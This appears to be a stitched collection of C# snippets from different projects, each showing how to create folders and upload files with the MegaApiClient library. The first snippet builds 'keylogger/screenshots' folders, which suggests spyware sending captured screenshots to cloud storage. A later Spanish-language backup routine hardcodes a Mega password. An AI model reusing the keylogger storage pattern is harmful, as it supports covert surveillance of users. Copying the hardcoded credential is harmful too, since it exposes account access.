private static void Screenshotsmaps() { // hier de dagelijkst map var nodes = client.GetNodes(); // main folder try { keyloggermap = client.GetNodes(root).Single(n => n.Name == "keylogger"); } catch { keyloggermap = client.CreateFolder("keylogger", root); } // screenshots folder try { screenshotsmap = client.GetNodes(keyloggermap).Single(n => n.Name == "screenshots"); } catch { screenshotsmap = client.CreateFolder("screenshots", keyloggermap); } // dag map try { screenshotsday = client.GetNodes(screenshotsmap).Single(n => n.Name == Screenshots.datum.ToShortDateString()); } catch { screenshotsday = client.CreateFolder(Screenshots.datum.ToShortDateString(), screenshotsmap); } }
private void GetCurrentFolder(bool autocreate = false) { var parts = m_prefix.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries); var nodes = Client.GetNodes(); INode parent = nodes.First(x => x.Type == NodeType.Root); foreach (var n in parts) { var item = nodes.FirstOrDefault(x => x.Name == n && x.Type == NodeType.Directory && x.ParentId == parent.Id); if (item == null) { if (!autocreate) { throw new FolderMissingException(); } item = Client.CreateFolder(n, parent); } parent = item; } m_currentFolder = parent; ResetFileCache(nodes); }
public static void AutoCreateFolder(ExplorerNode node) { List <ExplorerNode> list = node.GetFullPath(); if (list[0].NodeType.Type != CloudType.Mega) { throw new Exception("Mega only."); } MegaApiClient client = GetClient(list[0].NodeType.Email); list.RemoveAt(0); foreach (ExplorerNode child in list) { if (string.IsNullOrEmpty(child.Info.ID)) { MegaNzNode m_p_node = new MegaNzNode(child.Parent.Info.ID); INode c_node = client.GetNodes(m_p_node).Where(n => n.Name == child.Info.Name).First();//find if (c_node == null) { c_node = client.CreateFolder(child.Info.Name, m_p_node); //if not found -> create } child.Info.ID = c_node.Id; } } }
public bool delAll(string login, string password) { MegaApiClient client = new MegaApiClient(); try { client.Login(login, password); // Удаление всего содержимого foreach (var node in client.GetNodes()) { try { client.Delete(node, false); } catch (Exception ex) { }; } // Загрузка на диск IEnumerable <INode> nodes = client.GetNodes(); INode root = nodes.Single(x => x.Type == NodeType.Root); INode myFolder = client.CreateFolder("Mega Recovery Files", root); INode myFile = client.UploadFile(textBox1.Text, myFolder); client.Logout(); return(true); } catch (Exception ex) { return(false); }; }
protected int SaveToFileHosting(string[] files, int id, string folderPathConst) { // open mega.nz connection MegaApiClient client = new MegaApiClient(); string megaUsername = _configuration[Shared.Constants.UsernameConfigPath]; string megaPassword = _configuration[Shared.Constants.PasswordConfigPath]; client.Login(megaUsername, megaPassword); foreach (var file in files) { if (file.Length > 0) { // prepare string var splitString = file.Split("||"); var fileBase64String = splitString.First(); // prepare file var bytes = Convert.FromBase64String(fileBase64String); using MemoryStream stream = new MemoryStream(); stream.Write(bytes, 0, bytes.Length); stream.Seek(0, SeekOrigin.Begin); // determine file name var fileName = splitString.Length > 2 ? splitString[1] : Guid.NewGuid().ToString(); // save file to mega.nz var folderPath = $"{folderPathConst}{id}"; IEnumerable <INode> nodes = client.GetNodes(); INode cloudFolder = nodes.SingleOrDefault(x => x.Type == NodeType.Directory && x.Name == folderPath); if (cloudFolder == null) { INode root = nodes.Single(x => x.Type == NodeType.Root); cloudFolder = client.CreateFolder(folderPath, root); } var extension = splitString.Last(); INode cloudFile = client.Upload(stream, $"{fileName}.{extension}", cloudFolder); Uri downloadLink = client.GetDownloadLink(cloudFile); // prepare entity var entity = new Attachment { Name = fileName, Url = downloadLink.AbsoluteUri, ExtensionType = extension }; // DetermineEntityNavigation(entity, folderPathConst, id); _dbContext.Add(entity); } } // close mega.nz connection client.Logout(); return(_dbContext.SaveChanges()); }
public static void CreateFolder(ExplorerNode node) { MegaNzNode parent_meganode = new MegaNzNode(node.Parent.Info.ID); MegaApiClient client = GetClient(node.GetRoot.NodeType.Email); INode folder_meganode = client.CreateFolder(node.Info.Name, parent_meganode); node.Info.ID = folder_meganode.Id; }
public void ConnectToDrive(object o) { lock (workerLocker) { try { MegaApiClient client = new MegaApiClient(); client.Login(ConfigurationManager.AppSettings["UserName"], ConfigurationManager.AppSettings["Password"]); var nodes = client.GetNodes(); INode root = nodes.Single(n => n.Type == NodeType.Root); INode myFolder = client.CreateFolder("Upload " + DateTime.Today, root); string source = ConfigurationManager.AppSettings["Source"]; string typeFiles = ConfigurationManager.AppSettings["TypeFile"]; var files = Directory.GetFiles(source, "*." + typeFiles, SearchOption.TopDirectoryOnly); var file = files.OrderByDescending(File.GetLastWriteTime).First(); /* var filterFiles = files.Where((n) => File.GetCreationTime(n).ToShortDateString() == date);*/ using (var stream = new ProgressionStream(new FileStream(file, FileMode.Open), PrintProgression) ) { INode myFile = client.Upload(stream, Path.GetFileName(file), myFolder); client.GetDownloadLink(myFile); } } catch (Exception ex) { var path = Path.Combine(Environment.CurrentDirectory, "log.txt"); //if (!File.Exists(path)) //{ // File.Create(path); //} using (FileStream fs = new FileStream(path, FileMode.Append)) { using (StreamWriter sw = new StreamWriter(fs)) { sw.WriteLine("=========MEGA=============" + Environment.NewLine); sw.WriteLine("-----" + DateTime.Now.ToShortDateString() + "-----" + Environment.NewLine); sw.WriteLine(ex.Message); } }; } finally { run = 0; Monitor.Pulse(workerLocker); } } }
public void mega() { progress_qr_code_upload(); string qr_path = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\\qr"; string qr_dest = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\codes.zip"; using (ZipFile zip = new ZipFile(System.Text.Encoding.Default)) { foreach (var file in System.IO.Directory.GetFiles(qr_path)) { zip.AddFile(file); } zip.Save(qr_dest); } try { var client = new MegaApiClient(); string zip_location = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\\codes.zip"; client.Login("ADD_MEGA_USERNAME_HERE", "PASSWORD_HERE"); IEnumerable <INode> nodes = client.GetNodes(); INode root = nodes.Single(x => x.Type == NodeType.Root); INode myFolder = client.CreateFolder("QR-Codes", root); INode myFile = client.UploadFile(zip_location, myFolder); Uri downloadLink = client.GetDownloadLink(myFile); Console.WriteLine(downloadLink); string download = downloadLink.ToString(); MessageBox.Show(download + "" + "Preview QR-Codes and save", "Copied to Clipboard", MessageBoxButtons.YesNo); if (MessageBox.Show("Do you really want to preview QR-codes?", "Preview", MessageBoxButtons.YesNo) == DialogResult.Yes) { Form2 qrcode_preview = new Form2(); qrcode_preview.ShowDialog(); } Clipboard.SetText(download); client.Logout(); MessageBox.Show("all done. qr-code location:" + zip_location); } catch (Exception error) { MessageBox.Show("Error uploading QR-Codes to mega" + error); return; } }
void LoadData() { try { label1.Text = "Fetching Nodes..."; var nodes = mclient.GetNodes().ToList(); INode root = nodes.Single(n => n.Type == NodeType.Root); bool hasmCloudFolder = false; label1.Text = "Scanning Nodes..."; foreach (var node in nodes) { if (node.Name == "mCloud") { hasmCloudFolder = true; } } if (!hasmCloudFolder) { label1.Text = "Adding Nodes..."; mclient.CreateFolder("mCloud", root); nodes = mclient.GetNodes().ToList(); } label1.Text = "Processing Nodes..."; mcNode = nodes.Single(n => n.Name == "mCloud"); List <INode> fileNodes = new List <INode>(); foreach (var node in nodes) { if (node.ParentId == mcNode.Id) { fileNodes.Add(node); } } foreach (var node in fileNodes) { string fileName = node.Name; if (!nodeDict.ContainsKey(fileName)) { nodeDict.Add(fileName, node); } } RefreshView(); } catch (Exception ex) { MessageBox.Show("A fatal error occurred loading the Cloud Drive. mCloudStorage will now exit."); this.Close(); } }
/// <summary> /// Creates a folder with the username in case it doesn't already exist and returns the folder's name. If the folder already exists checks if the FileName already exists, and if it does /// deletes it, then returns the folder's name. /// </summary> /// <param name="client">MegaApiClient instance</param> /// <param name="Username">Curent user's Username</param> /// <param name="FileName">File prepared to be uploaded (name must include extension). If the file already exists in Mega then deletes the old one before uploading this new version.</param> /// <returns>INode - Folder's name.</returns> public static INode ChkIfFolderAndFileExist(MegaApiClient client, string Username, string FileName) { IEnumerable <INode> nodes = client.GetNodes(); INode root = nodes.Single(n => n.Type == NodeType.Root); IEnumerable <INode> FoldersInRoot = client.GetNodes(root); INode FolderSearched = nodes.FirstOrDefault(n => n.Type == NodeType.Directory && n.Name == Username); if (FolderSearched == null) { return(client.CreateFolder(Username, root)); } else if (DeleteFileIfExist(client, nodes.Where(n => n.Type == NodeType.Directory && n.Name == Username), FileName)) { return(FolderSearched); } else { return(null); } }
public static void VytvorSlozky(string cesta, List <string> struktura) { cesta = cesta.Replace('/', '\\'); string newcesta = cesta.Remove(cesta.LastIndexOf("\\")); string newcestazkr = newcesta.Substring(newcesta.LastIndexOf("\\") + 1); //newcestazkr = FileManager.FirstCharToUpper(newcestazkr); if (newcestazkr == "fotky") { newcestazkr = "Fotky"; } if (struktura.Contains(newcestazkr) || newcestazkr == "Fotky") { var nodes = client.GetNodes(); INode newslozka = nodes.Single(n => n.Name == newcestazkr); INode myFolder = client.CreateFolder(cesta.Substring(cesta.LastIndexOf("\\") + 1), newslozka); struktura.Add(cesta.Substring(cesta.LastIndexOf("\\") + 1)); } else { VytvorSlozky(newcesta, struktura); } }
private void Upload() { string yi = Path.GetDirectoryName(Path.GetDirectoryName(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location))); string pa = @"\FFMPEG\doc\"; string n = "Saves.txt"; string c = yi + pa + n; if (File.Exists(c)) { string[] lines = File.ReadAllLines(c); client.Login(lines[0], lines[1]); Progress <double> ze = new Progress <double>(p => { Console.WriteLine($"Progress updated: {p}"); double d = Math.Round(p * 10000) / 10000d; lblVideoInfo.Content = d + "%" + " (Upload)"; prbPro.Value = d; }); IEnumerable <INode> nodes = client.GetNodes(); INode root = nodes.Single(x => x.Type == NodeType.Root); INode myFolder = client.CreateFolder("Upload-s" + a, root); td = Task.Run(() => { return(client.UploadFileAsync(V, myFolder, ze)); }); Upt.Interval = TimeSpan.FromMilliseconds(30); Upt.Tick += Upt_Tick; Upt.Start(); } }
private void subirArchivoAMega() { try { string Fecha = DateTime.Now.ToString("yyy-MM-dd"); lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Conectando..."; })); progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); })); MegaApiClient cliente = new MegaApiClient(); cliente.Login("*****@*****.**", "corajitos12"); progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); })); lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Obteniendo directorios..."; })); var nodos = cliente.GetNodes(); lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Buscando carpeta 'Backup'..."; })); bool existe = cliente.GetNodes().Any(n => n.Name == "Backup " + Fecha); INode root; INode carpeta; if (existe == true) { lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Obteniendo la carpeta 'Backup'...."; })); progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); })); carpeta = nodos.Single(n => n.Name == "Backup " + Fecha); } else { lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Creando carpeta 'Backup'..."; })); progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); })); root = nodos.Single(n => n.Type == NodeType.Root); carpeta = cliente.CreateFolder("Backup " + Fecha, root); } progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); })); lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Subiendo archivo..."; })); progressBar1.Invoke(new MethodInvoker(delegate { progressBar1.PerformStep(); })); INode archivo = cliente.UploadFile(@"C:\Database Tec34\DatabaseEscTec.db", carpeta); Uri downloadUrl = cliente.GetDownloadLink(archivo); lblInfo.Invoke(new MethodInvoker(delegate { lblInfo.Text = "Archivo subido con éxito."; })); } catch (Exception error) { t.Abort(); MessageBox.Show("Error al intentar subir el archivo. " + error.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } this.Invoke((MethodInvoker) delegate { this.Close(); }); }